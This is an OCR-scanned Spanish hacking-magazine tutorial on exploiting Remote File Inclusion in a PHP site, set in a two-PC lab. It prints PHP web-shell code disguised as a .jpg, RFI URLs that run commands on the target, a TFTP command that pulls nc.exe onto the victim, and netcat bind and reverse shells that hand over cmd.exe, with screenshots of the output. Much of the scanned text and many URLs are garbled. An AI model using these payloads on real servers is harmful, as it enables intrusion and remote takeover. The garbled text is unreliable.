Arranca el servidor web del PC 1 con el Apache Monitor y volvemos al ejemplo anterior,

donde deseabamos enlazar la pagina vulnerable con una pagina externa al servidor.
Para ello debes escribir en el navegar la siguiente direccion:
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http://192.168.0.4/Practicas%20RF1/index.php?page=http://192.168.0.1/ejemplohxc.ht
ml

Si todo ha salido como deberia, nos encontraremos con la pagina que hemos creado o
copiado en nuestro servidor web, recuerda en el PC 1, ordenador desde el cual hemos
realizado el ataque.

27 Ejemplo HeC by HeTTinG - Microsoft Entermet Explorer
wchwo  Edotn  Wir  Fawontos  Foramionts  Aveda

£ awse - o] B (0 Demanda <lrrwoetns @ miwesa

htkps 1192, 168,0,4/Practicas 3 20RFI finde:x, php?page=http: /1192, 165.0. 1 f'ejemnplobc, html I

TODO ESTO ES LA PAGINA QUE SE HA ENLAZADO

Expliqguemos mejor lo que hemos conseguido...

Gracias la barra de direcciones hemos conseguido que la variable ?page sea igual a
http://192.168.0.1/ejemplohxc.html, mediante:

?page=http://192.168.0.1/ejemplohxc.html

Provocando que la etiqueta include enlazara la pagina que se encuentra en el servidor web
del PC 1 con la pagina vulnerable (“index.php”) del servidor web del PC 2.

Ya que hemos conseguido modificar el contenido de la variable ?page del servidor
vulnerable con los parametros anterior.

Con otras palabras, el servidor interpreta que la etiqueta include ha enlazado la pagina
index.php con la pagina que se ha registrado dentro de la variable ?page, que nosotros
hemos modificado

Veamos con un escenario en Internet lo que hemos conseguido:
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http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.1/ejemplohxc.html
http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.1/ejemplohxc.html
http://192.168.0.1/ejemplohxc.html

N Internet Fscenario 4

a o

-

Fouter

Servidor WEB

: Servidor WEB {(Vulnerable RFT)

http:/www.google.com http:/www.netting. com

El PC Atacante se conecta a http://www.netting.com, descubre que dicho portal es
vulnerable a Remote File Inclusion, y mediante
http://www.netting.com/index.php?page=www.google.com provoca que la pagina
netting.com sea enlazada con google.com.

Bueno, ahora que ya sabemos enlazar paginas externas al servidor, vamos a conseguir una
shell remota... ¢(Se os ocurre alguna forma...?...

Si, claro... vaya tonteria... programamos en PHP una pagina que nos permita ejecutar
comandos remotamente, la alojamos en nuestro servidor, y luego, la enlazamos con la web
vulnerable...

Buena idea, pero tiene un pequefio inconveniente... observemos lo que sucede si
implementamos dicha teoria...

Primero programemos una pagina en PHP que simplemente cree una carpeta en el disco
duro con el nombre de “HaCKxCRaCK?”. Ya sabes, abre el bloc de notas y copia el
siguiente codigo:

<?

system (“‘md hackxcrack”);

7>

Guardalo en la ruta “C:\AppServiwww” con el nombre de “prueba.php”.
Recuerda que aun estamos trabajando en el PC 1.

Bien, hagamos la prueba:
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http://www.netting.com/
http://www.netting.com/index.php?page=www.google.com

Abre de nuevo el explorador y escribe en la barra de tareas la direccion del servidor
vulnerable:

http://192.168.0.4/index.php

Recibimos el error en pantalla y afiadimos a la barra de direccidn la siguiente cadena:

.../[iIndex.php?=http://192.168.0.1/prueba.php

A estas alturas ya debes saber que con los parametros anteriores lo que conseguimos es
enlazar la pagina vulnerable con la pagina “prueba.php” que es externa al servidor.
Provocando gue el codigo PHP de “prueba.php” sea ejecutado...

Si todo ha ido satisfactoriamente el explorador nos mostrara una pagina en blanco:

2 htepsy 192.168.0.4,/index php?page =http://192.168.0. 1/carpeta.php - Microsoft Internet E eple =18 =|

fechivo  Edicidn  Wer Favorkos  Hemramienkas  Ayuda | o

@Mr&s - J - E .El ‘_;“‘ |j-.: Blsgueda “E;.':_f'Fawrltus ﬁ"mtlmedia {-—‘7‘ P -'.ﬁ. E

Dirﬂttién|ﬁ§| hktp: {192, 168.0.4/indesx. phpfindes:, php?=http: {192, 165.0.1/prueba, php =8 |*'"ﬂ”“1‘ ”
=

Lo que te decia... si es que estoy hecho un fiera... es que a mi ni el Kevin Mitnick me
gana... yo soy un M3G4 H4CK3R D3 L4 3L1T3...

Hombre, deja ya de decir burradas y céntrate en lo que estamos...
Si, la verdad es que la idea es buena, pero como te decia, tiene un pequefio inconveniente.

26


http://192.168.0.4/index.php

Sivas a la ruta “C:\AppServiwww\Practicas RFI”, en el PC 1, no olvides que este es el
PC atacante, vemos que existe una carpeta con el nombre “HaCKxCRaCK?”, recuerda
que nosotros buscabamos como objetivo que la carpeta fuera creada en el Servidor
Vulnerable no en otros servidores...

| Practicas RFI
Archive Edicidn Ver  Favortos  Heramisntas  Syuds
O s - T ) visasde capase | [T11]-

Diecoin |I20) ErAppSeryismusPractcas RF

vy oracking. Bemt = Encabezade.php e | et birea, Bl
Tareas de archivo y carpeta & ’J Imagenss g HTML Document @ Brchiva PHF g HTML Dacume
I ol 1 KE 71

L Sred rueva crpeta
&) Publicar esta carpata en Wab 2% Iredes.himl L= ndex,php L plarila.php L peintphp
HITL Dotiams arekive PHP Arediea PHP Arehive PHE

,_;_:’ Comparkr esla capela lﬁ SR - {;_‘I | :' e @ 1 EE Q‘

b s bt L. prusha.php ] (RrrrnE s :

Olros sitios £ Q HITL Documer @ Archive PHP ,J ;-'a':kx':ra':k
IS EE - (W]

Con esto podemos llegar a la conclusion de que una pagina programada en PHP solo podra
ser procesada por el servidor en donde se encuentre alojada, como pudimos observar en el
ejemplo anterior. Y nunca sera procesada en el cliente como otros lenguajes como el
JavaScript, que en su hora ya produjo alguin gue otro susto a los usuarios del Internet
Explorer, ya que este si se ejecutaba en el cliente, pero bueno, eso es otro tema...

Bueno, ahora por lo menos tenemos claro que con esta idea no conseguiremos nada...
Pero... ¢Que pasaria si creamos un codigo en PHP con una extension diferente a *.php,
como por ejemplo la extension de un archivo de imagen?...

Pues que esta vez si sera procesado el cddigo programado en PHP en el Servidor
Vulnerable. Ya que las imagenes si son procesadas por el cliente...

Como siempre comprobemos la teoria... Pero olvidemos del ejemplo anterior ya que seria
malgastar unas paginas en explicar algo que repetiremos en esta misma practica.
Pasemos a la diversion ejecutando comandos remotamente en el Servidor Vulnerable.

Abre de nuevo el bloc de notas, escoge y copia alguno de estos codigos fuentes:

<?
system($cmd);

?>

<?

system($_GET[cmd],$salida);

foreach($salida as $line) { echo ""$line<br>"; }
?>

<?
passthru($_GET[cmd],$salida);
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foreach($salida as $line) { echo ""$line<br>"; }
?>

Aunque yo utilizare el siguiente codigo (Solo por comodidad):

<?

exec($_GET[cmd],$salida);

foreach($salida as $line) { echo "'$line<br>"; }
7>

Guardalo en la ruta “C:\AppServiwww” con el nombre “cmd” y con la extesion “jpg” (ya
sabes, cmd.jpg).

Ahora pasemos a la accion...

Abrimos de nuevo desde el PC 1, el PC Atacante, el explorador y escribimos directamente
la siguiente direccion:

http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.4/cmd.jpqg

Como siempre si todo ha ido perfectamente el servidor debe contestarnos con uno o varios
mensajes de error dependiendo del cédigo fuente que hemos elegido.

Hasta aqui hemos conseguido que el Servidor VVulnerable enlace su pagina vulnerable con
una falsa imagen que contiene cédigo malicioso en formato PHP, para asi poder ejecutar
comandos remotamente en el Servidor Vulnerable.

Venga, que lo estas deseando, haz tus pruebas... Para ello debes igualar la variable “cmd”
con el comando que desees, mediante el explorador.

R: Pues algo habrés hecho mal... ;Qué has escrito en la barra de direcciones?...

Pues lo que tu me has dicho...
http://192.168.0.4/Practicas%20RF l/index.php?page=http://192.168.0.4/cmd.jp?cmd=dir

R: No!! Rotundamente NO!! Recuerda que solo podemos definir una variable con el
caracter “?” tan solo una vez, y que todas las siguientes variables deben de ser definidas
con el caracter “&”, recuerda el ejemplo del “print”.

La variable “?page” es la primera variable que contiene el caracter “?” asi que para definir
la variable “cmd” utilizaremos “&cmd”.

Es decir, debemos escribir en la barra de tareas:

http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.4/cmd.jp&cmd
=COMANDO
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http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.4/cmd.jpg
http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.4/cmd.jp?cmd=dir
http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.4/cmd.jp&cmd=COMANDO
http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.4/cmd.jp&cmd=COMANDO

Donde “COMANDO?” lo debemos de interpretar como el comando que deseamos que el
servidor ejecute.

A que esperas, realicemos nuestro primer “DIR”, ya sabes, para que nos muestre con un
listado todos los directorios de la ruta donde nos encontremos:

http://192.168.0.4/Practicas%20RFI/index.php?page=http:/192.168.0.1/cmd.jpg&cmd
=dir

£ hitp-fiocalhostiPracticas RFIfindox. php? page -hittp:iflacalhosticmd. jpefiomd-dir - Micresoft Internot Exploror =/ =kd
fichivo  Ediin Ve Fawoilos  Hergmienlas  Awada b
Qs - 6] B @0 D it Tl Faverss @ imeda ) | 8- Tl @ - | 3

»

bre hkkpr/f192, 168,04 Practicas%20RFIfindex. php?page=http:/192.163.0.1/cmd. jpg2cmd=dir o> LR

El volomen de la unidad E ez WinkF
El némero de serie del voluomen es; 2RC0-23ES5

Directorio de eappserviwawwipracticas rfi

0604/ 2005 01:01

06/04/2005 01:01

244032005 20:16 7.527 cracking html
24/03/2005 20:15 493 Encabezado.php
221032005 2346 6.044 hacking html
S0/03/ 2005 00:06
Imagenes
24/03/2005 20:05 1.787 Index.html
J0¥032005 0k45 23 Index.php
240302005 20014 130 plantillaphp
20403/2005 00:26 28 print.php
24082004 16:42 14,706 prueha. html
O5/04/ 2005 0020 35 prueba plip
S archivos 300833 bvies
3 dirs 6.637 424 640 bytes libres

Y di deseas conocer mas comandos del DOS prueba con esto:

http://192.168.0.4/Practicas%20RFI/index.php?page=http:/192.168.0.1/cmd.jpg&cmd
=help

INOTA: Si cuando intentas ejecutar comandos en el servidor vulnerable y dicho
servidor no realiza las peticiones o contesta con un error parecido a este:

“Warning: system() has been disabled for security rehaznos in .../.../....cmd.jpg on line
211

Esto indica que en caso de PHP la propiedad Safe_Mode, especifica en el archivo de
configuracién PHP.ini (C:\windows\php.ini), esta en “ON” y esto provocara que no
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http://192.168.0.4/Practicas%20RFI/index.php?page=http:/192.168.0.1/cmd.jpg&cmd=dir
http://192.168.0.4/Practicas%20RFI/index.php?page=http:/192.168.0.1/cmd.jpg&cmd=dir
http://192.168.0.4/Practicas%20RFI/index.php?page=http:/192.168.0.1/cmd.jpg&cmd=help
http://192.168.0.4/Practicas%20RFI/index.php?page=http:/192.168.0.1/cmd.jpg&cmd=help

podamos ejecutar comandos tanto con funciones como shell_exec, proc_open, pass-
thur u otras para ejecutar comandos.

Aunque también podemos encontrarnos otros problemas como que el servidor nos
muestre el codigo de la imagen “trucada”, debido a que la propiedad allow_url_fopen,
especifica en PHP, este en “OFF”

Si has seguido todos nuestros pasos no deberias encontrarte con ninguno de estos
problemas, recuerda que nuestro servidor se encuentra instalado por defecto.|

Lo siento, ya no tienes excusa...

En tus manos tienes las riendas que conduciran al Servidor Vulnerable por donde tu
decidas...

Ahora es el momento de echarle un toque de imaginacion, ya sabes, la imaginacion es
la llave que abre infinitas puertas...

3.3.- CONSIGUIENDO OTRA SHELL, jjARRIBA NETCAT!!:

Supongo que muchos sois los que preferis una consola de comandos de toda la vida, si esa
deprimida ventana negra donde se introducen comandos a diestro y a siniestro sin poder
mover para nada el tan valioso ratén, antes que usar el explorador del sistema.

Pues nada, aqui todo al gusto del consumidor, hagadmonos con el poder del servidor con un
shell de toda la vida...

Para ello usaremos nuestro querido y apreciado NETCAT y una utilidad muy interesante
de la que disponen todos los sistemas Windows para la transferencia de archivos, os hablo
de un amigo ya bastante conocido para los lectores habituales de esta revista, el
archiconocido TFTP un cliente que trabaja con el protocolo UDP.

Bien, pongamos de nuevo manos a la masa, sin tiempo que perder descargarte de la gran
red un servidor llamado TFTP (TFTP32).

Descomprimelo en la ruta “C:\subir\tftp”. Dentro de la carpeta “tftp” encontraras un
archivo ejecutable, ejecutalo.

Si eres un poco observador, observaras que en la parte inferior el programa dispone de tres
botones, pulsa sobre el segundo boton, Settings.
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% Titpd32: Settings

Security Server configuration

f* Mone Timeout [zeconds) Iﬂi
£ Standard tax R etranzmit I'Ii
*" High Tttp port IEgi

B ase Directony

|I::"'.sul:|ir Browse

Advanced Optionz

[v Option negatiation [ Hide "Window at startup
[v Show Progress bar [ Create "dir.tst" files

[ Tranzlate Urix file names [ Beep for lang branfert

| Activate Tpd32 on thiz interface | J

[ Usze anticipation window of Bytes

0k, | Drefault | Help | Cancel |

Luego configura dicha ventana como la de la imagen:

Security = None

Timeout > 9

Max Retransmit - 3
TFTP port - 69

Base Directory - C:\subir

Finalmente, pulsa OK.

Bien, ahora ya disponemos de un servidor operativo preparado para servir archivos a todo
cliente que lo solicite... Aunque para que podamos servir archivos es necesario disponer de
algun archivo en el directorio “C:\subir” xD.

De nuevo, sin tiempo que perder, descarga el NETCAT, (que por cierto, ya ha sido
liberada la dltima version de tan preciado programa) descomprimelo, accede a la carpeta
donde lo hayas descomprimido y copia el ejecutable de nombre “nc.exe” en la ruta
“C:\subir”.

Ya esta, ya tenemos todo preparado para subir nuestra maravillosa navaja suiza.

Desde el PC atacante abre el navegador que mas te guste, e introduce en la barra de
direcciones la siguiente direccion:

http://127.0.0.1/Practicas%20RFl/index.php?page=http://localhost/cmd.jpg&cmd=
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http://127.0.0.1/Practicas%20RFI/index.php?page=http://localhost/cmd.jpg&cmd

Recuerda que para ejecutar comandos debemos escribir el comando después del igual

(H:H)l

En nuestro caso lo que deseamos es ejecutar el cliente “tftp.exe” del que disponen todos los
sistemas Windows, que se encuentra en la ruta “C:\windows\system32”. Todo ello debe
ser ejecutado en el Servidor Vulnerable desde la barra de direcciones.

Una vez ejecutado el cliente TFTP debemos de introducir los siguientes pardmetros:
Tftp.exe —i IP_del servidorTFTP GET Nombre_del archivo_a_ subir
Donde:

i-: Especifica que la transferencia se realizara en el modo de transferencia binario. En
modo binario el archivo se transfiere literalmente byte a byte.

IP_del_servidorTFTP: Es la IP del host donde corre el Servidor TFTP, en nuestro
escenario la IP debe ser 192.168.0.1, IP del PC atacante.

GET o PUT: Donde GET transfiere el archivo alojado en el Servidor TFTP al cliente que
lo solicita. El caso contrario seria PUT que transfiere el archivo del cliente al Servidor
TFTP. En este caso usaremos GET.

Nombre_del_archivo_a_subir: Nombre del archivo que deseamos subir o bajar del
cliente. (El nombre de nuestro archivo debe ser nc.exe)

Ahora que ya sabemos todos los parametros necesarios debemos de transformarlo todo ello
en una direccion para que el servidor lo ejecute:

http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.1/cmd.jpa&cmd
=tftp.exe%20-1%20192.168.0.1%%20GET%20nc.exe

Si hemos hecho todo siguiendo nuestros pasos observaremos que el Servidor FTP32 a
logueado una conexion del Servidor Vulnerable (192.168.0.4):
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http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.1/cmd.jpg&cmd=tftp.exe%20-i%20192.168.0.1%20GET%20nc.exe
http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.1/cmd.jpg&cmd=tftp.exe%20-i%20192.168.0.1%20GET%20nc.exe

- TFTPD32 by Ph. Jounin 3 - 0] x|

Base Directony II::"'.suI:uir Browse |
Server interfaces |1E|2_1 B2 j Shiow DirI

Connection received from 192.168.0.4 on port 1063
Read request for file <nc.exes:. Mode octet
¢nc.ewer: sent 178 blks, 53332 bytes in 1 = 0 blk resent

1| | B

Current Action IListening oh port B9

About I Sethings | Help |

Y el explorador nos respondera con un mensaje como este:

&} htepy/ /192.168.0.4/index.phpZpage=http://192.168.0.1 /cmd.jpgfomd =titp.ese o 192.166.0.4 get nc - Microsoft: In =] =]
Srchivo  Edicdn  Wer Favoritos  Hereamientas  Ryoda | -

@mrés - i) - .ﬂ ﬂ _»h|';.:3|afsquada ‘-f._':'\Ti:-'Fawi:ns @ mineda ) .'{}-fiv :sf =

Direceitn |iﬂ |:-:.|'.|'1'9.Z.lﬁs.l:l.4.l'|n:|et><.|:h|:-?1:-a-:|a.-htt|:-:.l'.l':|52.1EB.U.l.l'u:md.1|:-:|BJ:m|:|-tﬂ:|:-.E;xe!".-"pzm%ZD!%.lss.u.qmmmmm.maj Ir | Wincukas **

-

Transferencia termnada: 59392 bytes en 1 segundo, 59392 bytes/s

] Listo [T [ motemen

Con esto podemos afirmar que nuestro amigo NETCAT esta alojado en el Servidor
Vulnerable en la ruta “C:\AppServiwww\Practicas RFI” ya que es ahi donde se
encuentra la pagina vulnerable.
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Para conseguir nuestra ansiada consola de comandos o shell, como quieras llamarla, tan
solo debemos de escribir la siguiente direccion en el navegador:

http://192.168.0.4/Practicas%20RF1/index.php?page=http://192.168.0.1/cmd.jpa&cmd
=nc.exe%20-vv%20-1%20-p%62080%20-e%20cmd.exe

INOTA: Cuando introduzcas comandos mediante la barra de direcciones para
realizar alguna operacion con algan archivo es necesario que especifiques su
extension, si no el servidor no sabra a que te estas refiriendo, si es un ejecutable, una
imagen, una carpeta, etc... y pasara completamente de todo.|

Ha estas alturas todos deberiamos conocer perfectamente los parametros que le he indicado
a NETCAT, pero como siempre, expliguémonos:

Con los pardmetros “nc.exe —vv —| —p 80 —e cmd.exe” lo que estamos provocando es que
NETCAT escuche peticiones de conexidn por el puerto 80 y que cuando se realice la
conexion sirva al conectado ni mas ni menos que una maravillosa shell de system32.
Aungue existen distintas posturas que defiende que el argumento “—e” no se debe de utilizar
cuando NETCAT trabaje como Servidor, como es este caso, ya que podria ser inseguro.

Al usar el argumento -vv estamos activando el Very Verbose del NETCAT que provoca
que nos informe detalladamente sobre la conexién. EI argumento —I (listen/escuchar) pone a
la escucha el puerto que se argumente mediante —p (port/puerto).

Aunque parezca mentira, una simple linea, puede darnos mucho que hablar, resumiendo...

Todos sabemos que un Servidor Web normalmente trabaja mediante el puerto 80. Pero si
nosotros le indicamos a NETCAT que también escuche peticiones de conexion por el
mismo puerto, es decir, por el puerto 80. Esto provocard que NETCAT se superponga al
Servidor Web, es decir, que cuando se realice una peticion de conexidn por el puerto 80,
quien se quedara con la conexion sera NETCAT vy todas las restantes peticiones que se
realicen después seran absorbidas por el Servidor Web, siempre y cuando NETCAT no
vuelva o esté escuchando por el mismo puerto.

Esto puede provocar que el servidor quede fuera de servicio para todos los demas usuarios
que estén utilizando en ese preciso momento el servidor y que ni siquiera podamos obtener
nuestra ansiada consola de comandos.
Siguiendo con lo que estdbamos e imaginando que no nos encontramos con ninguno de los
anteriores problemas tan solo debemos de abrir una consola en nuestro sistema, ya sabes el
intérprete de comandos 0 cmd, acceder a la carpeta donde hayamos descomprimido
NETCAT y una vez dentro ejecutar NETCAT con los siguientes argumentos:

nc.exe 192.168.0.4 80

Y obtendremos por fin nuestra mas que ansiada SHELL de SYSTEM32:
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http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.1/cmd.jpg&cmd=nc.exe%20-vv%20-l%20-p%2080%20-e%20cmd.exe
http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.1/cmd.jpg&cmd=nc.exe%20-vv%20-l%20-p%2080%20-e%20cmd.exe

B E:\WINDOWS\System32\cmd.exe - ﬂ

Microsoft Windows HP [Uersion 5.1.26081
CC» Copyright 19785-2001 Microsoft Corp.

E:“Documents and Settings“Enriguerg:

G:s>ocd no

G:~wnc>nc 192.168.6.4 88

Microsoft Windows HP [Versidn 5.1.26881
CC» Copyright 19785-2001 Microsoft Corp.

GIsnc»

También podréis conseguir una shell ejecutando NETCAT con los siguientes argumentos
enel PC 1:

nc.exe —vv —| —p 8888
Y escribir la siguiente direccion en la barra de direcciones:

http://192.168.0.4/Practicas%20RF1/index.php?page=http://192.168.0.1/cmd.jpa&cmd
=nc.exe%20192.168.0.1%20-e%20cmd.exe

Y como caida del cielo obtendréis otra maravillosa SHELL de SYSTEM32.

ATENTAMENTE NeTTinG.

“Cuando la oscuridad nuble tu vista, que la paranoia sea tu guia...” J
Pérez
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http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.1/cmd.jpg&cmd=nc.exe%20192.168.0.1%20-e%20cmd.exe
http://192.168.0.4/Practicas%20RFI/index.php?page=http://192.168.0.1/cmd.jpg&cmd=nc.exe%20192.168.0.1%20-e%20cmd.exe
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